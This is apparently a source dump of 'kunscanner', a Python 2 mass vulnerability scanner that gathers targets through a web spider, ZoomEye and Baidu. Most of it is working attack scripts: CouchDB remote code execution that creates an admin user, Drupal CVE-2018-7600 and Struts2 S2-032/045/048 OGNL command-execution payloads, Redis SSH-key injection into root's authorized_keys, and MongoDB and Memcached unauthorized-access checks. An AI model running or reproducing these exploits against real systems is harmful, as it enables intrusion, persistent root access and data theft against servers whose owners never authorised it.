SetLogger 20 | from argsparse import SetOptions 21 | from output import OutPutPadding,InfoOutPut2Console 22 | from kunscanner.lib.utils.utils import GetHeader,LoadDict 23 | from kunscanner.lib.core.common import Encode 24 | from kunscanner.lib.core import SetArgs, SetConfig, SetPath 25 | 26 | 27 | class DomainSpider(): 28 | def __init__(self, scanner_mode, scan_args,domain_queue, spider_info): 29 | GetSystemType() 30 | if conf.SYSTEM_TYPE == SYSTEM_TYPE.WINDOWS: 31 | self.InitSetting(scanner_mode, scan_args) 32 | self.spider_type = int(conf.SPIDER_TYPE) 33 | self.spider_status = False 34 | self.spider_queue = Queue.Queue() 35 | self.spider_info = spider_info 36 | self.domain_queue = domain_queue 37 | if self.spider_type == int(SPIDER_TYPE.DEPTH_SPIDER): 38 | self.domain = args.spider_init_url 39 | self.max_depth = conf.SPIDER_DEPTH 40 | self.depth = 1 41 | elif self.spider_type == int(SPIDER_TYPE.NUMBER_SPIDER): 42 | if args.spider_init_url.startswith('http://'): 43 | self.domain = args.spider_init_url 44 | else: 45 | self.domain = 'http://'+args.spider_init_url 46 | if args.max_number: 47 | self.max_number = int(args.max_number) 48 | else: 49 | self.max_number = int(conf.SPIDER_NUMBER) 50 | if self.max_number > 60000: 51 | self.max_number = 60000 52 | self.spider_queue_number = 1 53 | self.spider_all_number = 1 54 | elif self.spider_type == 3: 55 | pass 56 | self.threads = int(conf.SPIDER_THREADS) 57 | self.ignore_domains = LoadDict(path.DICT_PATH+conf.SPIDER_IGNORE_DOMAIN_FILE) 58 | self.domain_list = [] 59 | 60 | 61 | def InitSetting(self, scanner_mode, scan_args): 62 | SetLogger() 63 | SetPath() 64 | SetConfig() 65 | if scanner_mode == SCANNER_MODE.CONSOLE: 66 | SetArgs(scanner_mode, CmdLineParser()) 67 | else: 68 | SetArgs(scanner_mode, scan_args) 69 | SetOptions() 70 | 71 | def RunSpider(self): 72 | msg = OutPutPadding('The spider started to run', MESSAGE_LEVEL.INFO_LEVEL) 73 | InfoOutPut2Console(msg, MESSAGE_LEVEL.INFO_LEVEL) 74 | self.domain_queue.put(self.domain) 75 | self.spider_queue.put(self.domain) 76 | if self.spider_type == int(SPIDER_TYPE.DEPTH_SPIDER): 77 | pass 78 | if self.spider_type == int(SPIDER_TYPE.NUMBER_SPIDER): 79 | self.lock = threading.Lock() 80 | self.spider_status = True 81 | self.spider_info['spider_status'] = self.spider_status 82 | self.GetEnoughDomian() 83 | thread_list = [] 84 | for i in range(0, self.threads): 85 | t = threading.Thread(target=self.MaxNumberSpider, args=(i,)) 86 | t.start() 87 | thread_list.append(t) 88 | for t in thread_list: 89 | t.join() 90 | msg = OutPutPadding('The spider is over', MESSAGE_LEVEL.INFO_LEVEL) 91 | InfoOutPut2Console(msg, MESSAGE_LEVEL.INFO_LEVEL) 92 | msg = OutPutPadding('The number of targets found by the spider: {0}'.format(str(self.spider_all_number)), 93 | MESSAGE_LEVEL.INFO_LEVEL) 94 | InfoOutPut2Console(msg, MESSAGE_LEVEL.INFO_LEVEL) 95 | self.spider_info['spider_status'] = False 96 | 97 | def GetEnoughDomian(self): 98 | while self.spider_queue.qsize() < self.threads: 99 | try: 100 | domain = self.spider_queue.get(timeout=int(conf.QUEUE_TIMEOUT)) 101 | except: 102 | break 103 | self.spider_queue_number -= 1 104 | self.spider_info['spider_queue_size'] = self.spider_queue_number 105 | header = GetHeader() 106 | try: 107 | req = requests.get(domain, headers=header, timeout=int(conf.SPIDER_REQUESTS_TIMEOUT)) 108 | except Exception, e: 109 | RequestsException(e, EXCEPYION_POSITION.SPIDER, MESSAGE_LEVEL.WARNING_LEVEL, domain) 110 | continue 111 | domains = re.findall(re.compile(r'href\s*=\s*"(http://.*?|https://.*?)"'), req.text) 112 | self.AddToQueue(domains) 113 | 114 | def MaxNumberSpider(self, thread_id): 115 | while True: 116 | if self.spider_all_number <= self.max_number and self.spider_status == True: 117 | try: 118 | domain = self.spider_queue.get(timeout=int(conf.QUEUE_TIMEOUT)) 119 | self.lock.acquire() 120 | self.spider_queue_number -= 1 121 | self.spider_info['spider_queue_size'] = self.spider_queue_number 122 | self.lock.release() 123 | except Exception: 124 | self.StopSpiderThread() 125 | break 126 | try: 127 | req = requests.get(domain, timeout=int(conf.SPIDER_REQUESTS_TIMEOUT)) 128 | except Exception, e: 129 | RequestsException(e, EXCEPYION_POSITION.SPIDER, MESSAGE_LEVEL.WARNING_LEVEL, domain) 130 | continue 131 | domains = re.findall(re.compile(r'href\s*=\s*"(http://.*?|https://.*?)"'), req.text) 132 | self.AddToQueue(domains) 133 | else: 134 | self.StopSpiderThread() 135 | break 136 | 137 | def MaxDepthSpider(self): 138 | pass 139 | 140 | 141 | def AddToQueue(self, domains): 142 | for domain in domains: 143 | domain = Encode(domain) 144 | try: 145 | domain_netloc = urlparse.urlparse(domain).netloc 146 | except: 147 | continue 148 | if self.DuplicateCheck(domain_netloc) == False or self.IgnoreCheck(domain_netloc) == False: 149 | continue 150 | self.domain_queue.put(domain) 151 | self.spider_queue.put(domain) 152 | self.lock.acquire() 153 | self.spider_all_number += 1 154 | self.spider_queue_number += 1 155 | self.spider_info['spider_queue_size'] = self.spider_queue_number 156 | self.spider_info['domain_queue_sise'] = self.spider_all_number 157 | self.domain_list.append(domain_netloc) 158 | self.lock.release() 159 | 160 | def DuplicateCheck(self, domain): 161 | if domain not in self.domain_list: 162 | return True 163 | else: 164 | return False 165 | 166 | def IgnoreCheck(self, domain): 167 | val = tldextract.extract(domain) 168 | try: 169 | full_domain = "*.{0}.{1}".format(val.domain, val.suffix) 170 | except: 171 | return False 172 | if domain in self.ignore_domains or full_domain in self.ignore_domains: 173 | return False 174 | else: 175 | return True 176 | 177 | 178 | def StopSpiderThread(self): 179 | self.lock.acquire() 180 | self.spider_status = False 181 | self.lock.release() 182 | -------------------------------------------------------------------------------- /kunscanner/lib/parse/__init__.py: -------------------------------------------------------------------------------- 1 | # -*- coding: utf-8 -*- 2 | # @Time : 2018/3/24 下午4:22 3 | # @author : Xmchx 4 | # @File : __init__.py -------------------------------------------------------------------------------- /kunscanner/lib/parse/cmdline.py: -------------------------------------------------------------------------------- 1 | # -*- coding: utf-8 -*- 2 | # @Time : 2018/3/24 下午4:22 3 | # @author : Xmchx 4 | # @File : cmdline.py 5 | 6 | import sys 7 | import argparse 8 | 9 | 10 | def CmdLineParser(): 11 | parser = argparse.ArgumentParser() 12 | 13 | target = parser.add_argument_group('TARGET') 14 | target.add_argument('-u', metavar='URL', dest="url", type=str, default=None, 15 | help="Scan a single target (e.g. www.wooyun.org)") 16 | 17 | target.add_argument('-i', metavar='IPS', dest="ip_segment", type=str, default=None, 18 | help="Load url from ipSegment(e.g. 192.168.0.1-254,192.168.0.1/24,10.10.10.1-10.10.20.255)") 19 | 20 | target.add_argument('-r', metavar='Traget File', dest="target_file", type=str, default=None, 21 | help="Load url from file") 22 | 23 | target.add_argument('--number', metavar='Tragte Number', dest="max_number", type=int, default=None, 24 | help="Maximum number of targets from the api or spider.") 25 | 26 | spider = parser.add_argument_group('SPIDER') 27 | spider.add_argument('--spider-url', metavar='Spider URL', dest='spider_init_url', type=str, default=None, 28 | help="Spider will start from this domain") 29 | 30 | api = parser.add_argument_group('API') 31 | api.add_argument('--zoomeye', metavar='Zoomeye Search Keyword', dest="zoomeye", type=str, default=None, 32 | help="Use zoomeye api to get the target (e.g. --zoomeye \"port:6379\")") 33 | 34 | api.add_argument('--baidu',metavar='Baidu Search Keyword', dest="baidu", type=str, default=None, 35 | help="Use baidu spider to get the target (e.g. --baidu inurl:/user/register)") 36 | 37 | api.add_argument('--subdomain',metavar='subDomainsBrute Result File', dest="subdomain", type=str, default=None, 38 | help="Load target from subDomainsBrute Result File (e.g. --subdomain baidu.com_full.txt)") 39 | 40 | api.add_argument('--zt',metavar='Zoomeye Search Type',dest="zoomeye_search_type",type=str,default=None, 41 | help="Zoomeye target type web or host,default setting (ZOOMEYE_SEARCH_TYPE)") 42 | 43 | script = parser.add_argument_group('SCRIPT') 44 | script.add_argument('--script', metavar='Script Name', dest='custom_scripts', type=str, default=None, 45 | help='The name of script to use') 46 | 47 | script.add_argument('--script-all', dest='all_scripts', action='store_true', 48 | help='Use all script for testing') 49 | 50 | script.add_argument('--script-info', metavar='Script Name Info', dest='custom_scripts_info', type=str, default=None, 51 | help='Show the details of the specified attack script') 52 | 53 | script.add_argument('--search',metavar='Search Script', dest='search_script', type=str, default=None, 54 | help='Search POC') 55 | 56 | script.add_argument('-s', dest='all_scripts_info', action='store_true', 57 | help='Show the details of the specified attack script') 58 | 59 | output = parser.add_argument_group('OUTPUT') 60 | output.add_argument('-o', metavar='Output File Name',dest='output_file_name', type=str, default=None, 61 | help='Show all currently available attack script') 62 | 63 | output.add_argument('--task-name', metavar='Scan Task Name', dest='task_name', type=str, default=None, 64 | help='The name of the scan task, only valid when opening the database storage (SAVE_RESULT_TO_DATABASE = true)') 65 | 66 | if len(sys.argv) == 1: 67 | sys.argv.append('-h') 68 | 69 | args = parser.parse_args() 70 | return args -------------------------------------------------------------------------------- /kunscanner/lib/scripts/__init__.py: -------------------------------------------------------------------------------- 1 | # -*- coding: utf-8 -*- 2 | # @Time : 2018/3/31 上午11:39 3 | # @author : Xmchx 4 | # @File : __init__.py.py -------------------------------------------------------------------------------- /kunscanner/lib/scripts/couchdb_exec.py: -------------------------------------------------------------------------------- 1 | # -*- coding: utf-8 -*- 2 | # @Time : 2018/4/30 下午12:48 3 | # @author : Xmchx 4 | # @File : couchdb_exec.py 5 | 6 | ''' 7 | couchdb会一直执行这条命令,不会执行一次后停止。 8 | 9 | 如果对应的是80,需要直接指明是80端口,不能只输入ip 10 | ''' 11 | 12 | 13 | import json 14 | import requests 15 | from requests.auth import HTTPBasicAuth 16 | from collections import OrderedDict 17 | from kunscanner.lib.core.data import conf 18 | from kunscanner.lib.utils.utils import RandomString,GetNetloc,DomainToIP 19 | from kunscanner.lib.utils.ceye import CeyeApi 20 | from kunscanner.lib.core.exception import PocWarningException 21 | from kunscanner.lib.core.enums import SCRIPT_LEVEL 22 | 23 | def Info(): 24 | poc_info = OrderedDict() 25 | poc_info['name'] = "couchdb_exec" 26 | poc_info['info'] = "couchdb remote code execution (CVE-2017–12635 CVE–2017–12636)" 27 | poc_info['title'] = u'CouchDB远程代码执行' 28 | poc_info['author'] = "hayasec" 29 | poc_info['time'] = "2018.04.30" 30 | poc_info['type'] = 'attack' 31 | poc_info['level'] = SCRIPT_LEVEL.HIGH 32 | return poc_info 33 | 34 | 35 | def Poc(url): 36 | init_url = url 37 | result = {} 38 | result['success'] = False 39 | result['message'] = '' 40 | 41 | try: 42 | if ':' in GetNetloc(url): 43 | port = GetNetloc(url).split(':')[1] 44 | else: 45 | port = '5984' 46 | ip = DomainToIP(GetNetloc(url)) 47 | if ip == None: 48 | return result 49 | if ':' in ip: 50 | ip = ip.split(':')[0] 51 | url = GetNetloc(ip+':'+port,True) 52 | version = GetVersion(url) 53 | AddUser(url) 54 | rangom_string = RandomString() 55 | command = '"ping -n 2 %s"'% (rangom_string+'.'+conf.CEYE_DOMAIN) 56 | CmeExec(url, command, version) 57 | data = CheckDnsLog(rangom_string) 58 | if data != False: 59 | result['success'] = True 60 | result['message'] = 'remote_addr:' + data[0]['remote_addr'] +' name: '+data[0]['name'] 61 | return result 62 | except Exception,e: 63 | raise PocWarningException(init_url,Info()['name'],repr(e)) 64 | 65 | 66 | 67 | 68 | def GetVersion(url): 69 | response = requests.get(url,timeout = 20) 70 | db_version = json.loads(response.text) 71 | return int(db_version['version'][0:1]) 72 | 73 | 74 | def AddUser(url): 75 | path = r'_users/org.couchdb.user:wooyun' 76 | headers = { 77 | 'User-Agent': 'Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)', 78 | 'Content-Type': 'application/json', 79 | } 80 | 81 | data = b""" 82 | { 83 | "type": "user", 84 | "name": "wooyun", 85 | "roles": ["_admin"], 86 | "roles":[], 87 | "password": "wooyun" 88 | } 89 | """ 90 | full_url = url + path 91 | requests.put(url=full_url, headers=headers, data=data,timeout = 5) 92 | 93 | 94 | def CmeExec(target, command, version): 95 | session = requests.session() 96 | session.headers = { 97 | 'Content-Type': 'application/json' 98 | } 99 | session.put(target + '_users/org.couchdb.user:wooyun', data='''{ 100 | "type": "user", 101 | "name": "wooyun", 102 | "roles": ["_admin"], 103 | "roles": [], 104 | "password": "wooyun" 105 | }''',timeout = 5) 106 | session.auth = HTTPBasicAuth('wooyun', 'wooyun') 107 | if version == 1: 108 | session.put(target + ('_config/query_servers/cmd'), data=command,timeout = 5) 109 | else: 110 | host = session.get(target + '_membership').json()['all_nodes'][0] 111 | session.put(target + '_node/{}/_config/query_servers/cmd'.format(host), data=command,timeout = 5) 112 | 113 | session.put(target + 'wooyun',timeout = 5) 114 | session.put(target + 'wooyun/test', data='{"_id": "wooyuntest"}',timeout = 5) 115 | 116 | if version == 1: 117 | try: 118 | session.post(target + 'wooyun/_temp_view?limit=10', data='{"language":"cmd","map":""}',timeout = 5) 119 | except: 120 | pass 121 | else: 122 | try: 123 | session.put(target + 'wooyun/_design/test', data='{"_id":"_design/test","views":{"wooyun":{"map":""} },"language":"cmd"}') 124 | except: 125 | pass 126 | 127 | 128 | def CheckDnsLog(rangom_string): 129 | result = CeyeApi(rangom_string) 130 | if result != False: 131 | return result 132 | else: 133 | return False 134 | 135 | -------------------------------------------------------------------------------- /kunscanner/lib/scripts/drupal/__init__.py: -------------------------------------------------------------------------------- 1 | # -*- coding: utf-8 -*- 2 | # @Time : 2018/4/27 上午1:52 3 | # @author : Xmchx 4 | # @File : __init__.py.py -------------------------------------------------------------------------------- /kunscanner/lib/scripts/drupal/drupal_exec_7600.py: -------------------------------------------------------------------------------- 1 | # -*- coding: utf-8 -*- 2 | # @Time : 2018/4/14 下午3:14 3 | # @author : Xmchx 4 | # @File : drupal_exec_7600.py 5 | 6 | #https://github.com/a2u/CVE-2018-7600/blob/master/exploit.py 7 | 8 | import socket 9 | import requests 10 | from collections import OrderedDict 11 | from kunscanner.lib.utils.utils import GetNetloc, RandomString 12 | from kunscanner.lib.core.exception import PocWarningException 13 | from kunscanner.lib.core.enums import SCRIPT_LEVEL 14 | 15 | 16 | 17 | def Info(): 18 | poc_info = OrderedDict() 19 | poc_info['name'] = "drupal_exec_7600" 20 | poc_info['info'] = "drupal core remote code execution (CVE-2018-7600)" 21 | poc_info['title'] = u'Drupal远程命令执行' 22 | poc_info['author'] = "a2u" 23 | poc_info['time'] = "2018.04.14" 24 | poc_info['type'] = 'attack' 25 | poc_info['level'] = SCRIPT_LEVEL.HIGH 26 | return poc_info 27 | 28 | 29 | 30 | def Poc(url): 31 | init_url = url 32 | socket.setdefaulttimeout(5) 33 | result = {} 34 | result['success'] = False 35 | result['message'] = '' 36 | try: 37 | random_str = RandomString() 38 | url = GetNetloc(url, True) 39 | target = url + '/user/register?element_parents=account/mail/%23value&ajax_form=1&_wrapper_format=drupal_ajax' 40 | payload = {'form_id': 'user_register_form', '_drupal_ajax': '1', 'mail[#post_render][]': 'exec', 41 | 'mail[#type]': 'markup', 'mail[#markup]': 'echo '+random_str+' | tee '+random_str+'.txt'} 42 | r = requests.post(target, data=payload, timeout = 5) 43 | if r.status_code != 200: 44 | return result 45 | else: 46 | r = requests.get(url+'/'+random_str+'.txt', timeout = 5) 47 | if r.status_code == 200 and random_str == r.text.strip(): 48 | result['success'] = True 49 | result['message'] = 'random_file: /'+random_str+'.txt' 50 | return result 51 | except Exception,e: 52 | raise PocWarningException(init_url, Info()['name'], repr(e)) -------------------------------------------------------------------------------- /kunscanner/lib/scripts/redis/redis_sshkey_getshell.py: -------------------------------------------------------------------------------- 1 | # -*- coding: utf-8 -*- 2 | # @Time : 2018/4/26 下午10:06 3 | # @author : Xmchx 4 | # @File : redis_sshkey_getshell.py 5 | 6 | 7 | import redis 8 | import paramiko 9 | import time 10 | from collections import OrderedDict 11 | from kunscanner.lib.utils.utils import RandomString,DomainToIP,CheckPort,GetNetloc 12 | from paramiko.ssh_exception import SSHException 13 | from kunscanner.lib.core.exception import PocWarningException,PocErrorException 14 | from kunscanner.lib.core.enums import SCRIPT_LEVEL 15 | 16 | def Info(): 17 | poc_info = OrderedDict() 18 | poc_info['name'] = "redis_sshkey_getshell" 19 | poc_info['info'] = "redis unauthorized and set sshkey getshell" 20 | poc_info['title'] = u'Redis写入SSH key' 21 | poc_info['author'] = "i@cdxy.me" 22 | poc_info['time'] = "2018.04.27" 23 | poc_info['type'] = 'attack' 24 | poc_info['level'] = SCRIPT_LEVEL.HIGH 25 | return poc_info 26 | 27 | 28 | def Poc(url): 29 | init_url = url 30 | public_key = '1' 31 | 32 | if public_key == '': 33 | raise PocErrorException('Poc:redis_sshkey_getshell Public_key is none! please input public_key.') 34 | result = {} 35 | result['success'] = False 36 | result['message'] = '' 37 | try: 38 | url = GetNetloc(url) 39 | url = DomainToIP(url) 40 | ip = url.split(':')[0] 41 | port = int(url.split(':')[-1]) if ':' in url else 6379 42 | if not CheckPort(ip, 22): 43 | return result 44 | r = redis.Redis(host=ip, port=port, db=0, socket_timeout=2, socket_connect_timeout=2) 45 | if 'redis_version' in r.info(): 46 | key = RandomString(10) 47 | r.set(key, '\n\n' + public_key + '\n\n') 48 | r.config_set('dir', '/root/.ssh') 49 | r.config_set('dbfilename', 'authorized_keys') 50 | r.save() 51 | r.delete(key) 52 | r.config_set('dir', '/tmp') 53 | time.sleep(5) 54 | if testConnect(ip, 22): 55 | result['success'] = True 56 | return result 57 | return result 58 | except Exception,e: 59 | raise PocWarningException(init_url, Info()['name'], repr(e)) 60 | 61 | 62 | def testConnect(ip, port=22): 63 | private_key = '1' 64 | if private_key == '': 65 | raise PocErrorException('Poc:redis_sshkey_getshell Private_key is none! please input private_key.') 66 | try: 67 | s = paramiko.SSHClient() 68 | s.load_system_host_keys() 69 | s.connect(ip, port, username='root', pkey=private_key, timeout=2) 70 | s.close() 71 | return True 72 | except Exception, e: 73 | if type(e) == SSHException: 74 | return True 75 | return False -------------------------------------------------------------------------------- /kunscanner/lib/scripts/struts2/s2_032.py: -------------------------------------------------------------------------------- 1 | # -*- coding: utf-8 -*- 2 | # @Time : 2018/4/15 下午12:20 3 | # @author : Xmchx 4 | # @File : s2_032.py 5 | 6 | 7 | from collections import OrderedDict 8 | from kunscanner.lib.utils.utils import AddScheme, RandomString, FuzzAction 9 | import httplib 10 | httplib.HTTPConnection._http_vsn = 10 11 | httplib.HTTPConnection._http_vsn_str = 'HTTP/1.0' 12 | import requests 13 | import socket 14 | from kunscanner.lib.core.exception import PocWarningException 15 | from kunscanner.lib.core.enums import SCRIPT_LEVEL 16 | 17 | def Info(): 18 | poc_info = OrderedDict() 19 | poc_info['name'] = "s2_032" 20 | poc_info['info'] = "struts2-032 remote code execution (CVE-2016-3081)" 21 | poc_info['title'] = u"Struts2-032远程代码执行" 22 | poc_info['author'] = "Xmchx" 23 | poc_info['time'] = "2018.04.15" 24 | poc_info['type'] = 'attack' 25 | poc_info['level'] = SCRIPT_LEVEL.HIGH 26 | return poc_info 27 | 28 | 29 | 30 | def Poc(url): 31 | init_url = url 32 | result = {} 33 | result['success'] = False 34 | result['message'] = '' 35 | 36 | try: 37 | socket.setdefaulttimeout(5) 38 | random_str = RandomString() 39 | url = AddScheme(url) 40 | targets = FuzzAction(url) 41 | payload = '''?method:%23_memberAccess%3d@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS,%23res%3d%40org.apache.struts2.ServletActionContext%40getResponse(),%23res.setCharacterEncoding(%23parameters.encoding%5B0%5D),%23w%3d%23res.getWriter(),%23s%3dnew+java.util.Scanner(@java.lang.Runtime@getRuntime().exec(%23parameters.cmd%5B0%5D).getInputStream()).useDelimiter(%23parameters.pp%5B0%5D),%23str%3d%23s.hasNext()%3f%23s.next()%3a%23parameters.ppp%5B0%5D,%23w.print(%23str),%23w.close(),1?%23xx:%23request.toString&pp=%5C%5CA&ppp=%20&encoding=UTF-8&cmd=echo '''+random_str 42 | for target in targets: 43 | r = requests.get(target+payload, timeout=5) 44 | if random_str in r.text and 'html' not in r.text: 45 | result['message'] = target 46 | result['success'] = True 47 | return result 48 | return result 49 | except Exception,e: 50 | raise PocWarningException(init_url,Info()['name'],repr(e)) -------------------------------------------------------------------------------- /kunscanner/lib/scripts/struts2/s2_045.py: -------------------------------------------------------------------------------- 1 | # -*- coding: utf-8 -*- 2 | # @Time : 2018/4/15 下午12:53 3 | # @author : Xmchx 4 | # @File : s2_045.py 5 | 6 | 7 | from collections import OrderedDict 8 | from kunscanner.lib.utils.utils import AddScheme, RandomString, GetUserAgent 9 | import httplib 10 | httplib.HTTPConnection._http_vsn = 10 11 | httplib.HTTPConnection._http_vsn_str = 'HTTP/1.0' 12 | import requests 13 | import socket 14 | from kunscanner.lib.core.exception import PocWarningException 15 | from kunscanner.lib.core.enums import SCRIPT_LEVEL 16 | 17 | def Info(): 18 | poc_info = OrderedDict() 19 | poc_info['name'] = "s2_045" 20 | poc_info['info'] = "struts2-045 remote code execution (CVE-2017-5638)" 21 | poc_info['title'] = u"Struts2-045远程代码执行" 22 | poc_info['author'] = "Xmchx" 23 | poc_info['time'] = "2018.04.15" 24 | poc_info['type'] = 'attack' 25 | poc_info['level'] = SCRIPT_LEVEL.HIGH 26 | return poc_info 27 | 28 | 29 | 30 | def Poc(url): 31 | init_url = url 32 | result = {} 33 | result['success'] = False 34 | result['message'] = '' 35 | 36 | try: 37 | socket.setdefaulttimeout(5) 38 | random_str = RandomString() 39 | payload = { 40 | "User-Agent": GetUserAgent(), 41 | "Content-Type": "%{(#nike='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd=\"echo " + random_str + "\").(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}" 42 | } 43 | r = requests.get(url, headers = payload, timeout=5) 44 | if random_str in r.text and 'html' not in r.text: 45 | result['message'] = url 46 | result['success'] = True 47 | return result 48 | except Exception,e: 49 | raise PocWarningException(init_url,Info()['name'],repr(e)) -------------------------------------------------------------------------------- /kunscanner/lib/scripts/struts2/s2_048.py: -------------------------------------------------------------------------------- 1 | # -*- coding: utf-8 -*- 2 | # @Time : 2018/4/15 上午1:01 3 | # @author : Xmchx 4 | # @File : s2_048.py 5 | 6 | from collections import OrderedDict 7 | from kunscanner.lib.utils.utils import AddScheme, RandomString 8 | import httplib 9 | httplib.HTTPConnection._http_vsn = 10 10 | httplib.HTTPConnection._http_vsn_str = 'HTTP/1.0' 11 | import requests 12 | import socket 13 | from kunscanner.lib.core.exception import PocWarningException 14 | from kunscanner.lib.core.enums import SCRIPT_LEVEL 15 | 16 | def Info(): 17 | poc_info = OrderedDict() 18 | poc_info['name'] = "s2_048" 19 | poc_info['info'] = "struts2-048 remote code execution (CVE-2017-9791)" 20 | poc_info['title'] = u"Struts2-048远程代码执行" 21 | poc_info['author'] = "Xmchx" 22 | poc_info['time'] = "2018.04.15" 23 | poc_info['type'] = 'attack' 24 | poc_info['level'] = SCRIPT_LEVEL.HIGH 25 | return poc_info 26 | 27 | 28 | 29 | def Poc(url): 30 | init_url = url 31 | result = {} 32 | result['success'] = False 33 | result['message'] = '' 34 | 35 | try: 36 | socket.setdefaulttimeout(5) 37 | random_str = RandomString() 38 | url = AddScheme(url) 39 | payload = { 40 | 'name':'''%{(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd=#parameters.cmd[0]).(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}''', 41 | 'age': '1', 42 | '__checkbox_bustedBefore': 'true', 43 | 'description': '1', 44 | 'cmd':'echo '+random_str 45 | } 46 | r = requests.post(url+'/struts2-showcase/integration/saveGangster.action', data=payload, timeout=5) 47 | if random_str in r.text and 'html' not in r.text: 48 | result['message'] = url+'/struts2-showcase/integration/saveGangster.action' 49 | result['success'] = True 50 | r = requests.post(url + '/integration/saveGangster.action', data=payload, timeout=5) 51 | if random_str in r.text and 'html' not in r.text: 52 | result['message'] = url + '/integration/saveGangster.action' 53 | result['success'] = True 54 | return result 55 | except Exception,e: 56 | raise PocWarningException(init_url,Info()['name'],repr(e)) 57 | -------------------------------------------------------------------------------- /kunscanner/lib/scripts/unauth/__init__.py: -------------------------------------------------------------------------------- 1 | # -*- coding: utf-8 -*- 2 | # @Time : 2018/3/31 上午11:39 3 | # @author : Xmchx 4 | # @File : __init__.py.py -------------------------------------------------------------------------------- /kunscanner/lib/scripts/unauth/memcached_unauth.py: -------------------------------------------------------------------------------- 1 | # -*- coding: utf-8 -*- 2 | # @Time : 2018/4/29 上午11:21 3 | # @author : Xmchx 4 | # @File : memcached_unauth.py 5 | 6 | 7 | import socket 8 | import re 9 | from collections import OrderedDict 10 | from kunscanner.lib.utils.utils import GetNetloc, DomainToIP, DelPort 11 | from kunscanner.lib.core.exception import PocWarningException 12 | from kunscanner.lib.core.enums import SCRIPT_LEVEL 13 | 14 | def Info(): 15 | poc_info = OrderedDict() 16 | poc_info['name'] = "memcached_unauth" 17 | poc_info['info'] = "memcached unauthorized access vulnerability" 18 | poc_info['title'] = u"Memcached未授权访问" 19 | poc_info['author'] = "i@cdxy.me" 20 | poc_info['time'] = "2018.04.29" 21 | poc_info['type'] = 'attack' 22 | poc_info['level'] = SCRIPT_LEVEL.MEDIUM 23 | return poc_info 24 | 25 | 26 | 27 | def Poc(url): 28 | init_url = url 29 | result = {} 30 | result['success'] = False 31 | result['message'] = '' 32 | 33 | try: 34 | socket.setdefaulttimeout(3) 35 | url = GetNetloc(url) 36 | ip = DomainToIP(url) 37 | if ip == None: 38 | return result 39 | port = int(ip.split(':')[-1]) if ':' in ip else 11211 40 | ip = DelPort(ip) 41 | payload = '\x73\x74\x61\x74\x73\x0a' 42 | s = socket.socket() 43 | s.connect((ip, port)) 44 | s.send(payload) 45 | recvdata = s.recv(2048) 46 | s.close() 47 | if recvdata and 'STAT version' in recvdata: 48 | result['success'] = True 49 | result['message'] = 'version:' + ''.join(re.findall(r'version\s(.*?)\s', recvdata)) 50 | return result 51 | except Exception,e: 52 | raise PocWarningException(init_url,Info()['name'],repr(e)) -------------------------------------------------------------------------------- /kunscanner/lib/scripts/unauth/mongodb_unauth.py: -------------------------------------------------------------------------------- 1 | # -*- coding: utf-8 -*- 2 | # @Time : 2018/3/25 上午1:41 3 | # @author : Xmchx 4 | # @File : mongodb_unauth.py 5 | 6 | 7 | from collections import OrderedDict 8 | import pymongo 9 | from kunscanner.lib.utils.utils import DelPort, GetNetloc, DomainToIP 10 | from kunscanner.lib.core.exception import PocWarningException 11 | from kunscanner.lib.core.enums import SCRIPT_LEVEL 12 | 13 | def Info(): 14 | poc_info = OrderedDict() 15 | poc_info['name'] = "mongodb_unauth" 16 | poc_info['info'] = "mongodb unauthorized access vulnerability" 17 | poc_info['title'] = u"Mongodb未授权访问" 18 | poc_info['author'] = "i@cdxy.me" 19 | poc_info['time'] = "2018.03.03" 20 | poc_info['type'] = 'attack' 21 | poc_info['level'] = SCRIPT_LEVEL.HIGH 22 | return poc_info 23 | 24 | 25 | def Poc(url): 26 | init_url = url 27 | result = {} 28 | result['success'] = False 29 | result['message'] = '' 30 | try: 31 | url = GetNetloc(url) 32 | ip = DomainToIP(url) 33 | if ip == None: 34 | return result 35 | port = int(ip.split(':')[-1]) if ':' in ip else 27017 36 | ip = DelPort(ip) 37 | MONGO_URI = 'mongodb://'+ip+':'+str(port)+'/' 38 | conn = pymongo.MongoClient(MONGO_URI, serverSelectionTimeoutMS=3000) 39 | dbs = conn.database_names() 40 | result['success'] = True 41 | result['message'] = str(dbs) 42 | return result 43 | except Exception,e: 44 | raise PocWarningException(init_url,Info()['name'],repr(e)) -------------------------------------------------------------------------------- /kunscanner/lib/scripts/unauth/redis_unauth.py: -------------------------------------------------------------------------------- 1 | # -*- coding: utf-8 -*- 2 | # @Time : 2018/3/25 上午1:41 3 | # @author : Xmchx 4 | # @File : redis_unauth.py 5 | 6 | 7 | import socket 8 | from collections import OrderedDict 9 | 10 | from kunscanner.lib.utils.utils import DelPort,GetNetloc,DomainToIP 11 | from kunscanner.lib.core.exception import PocWarningException 12 | from kunscanner.lib.core.enums import SCRIPT_LEVEL 13 | 14 | 15 | def Info(): 16 | poc_info = OrderedDict() 17 | poc_info['name'] = 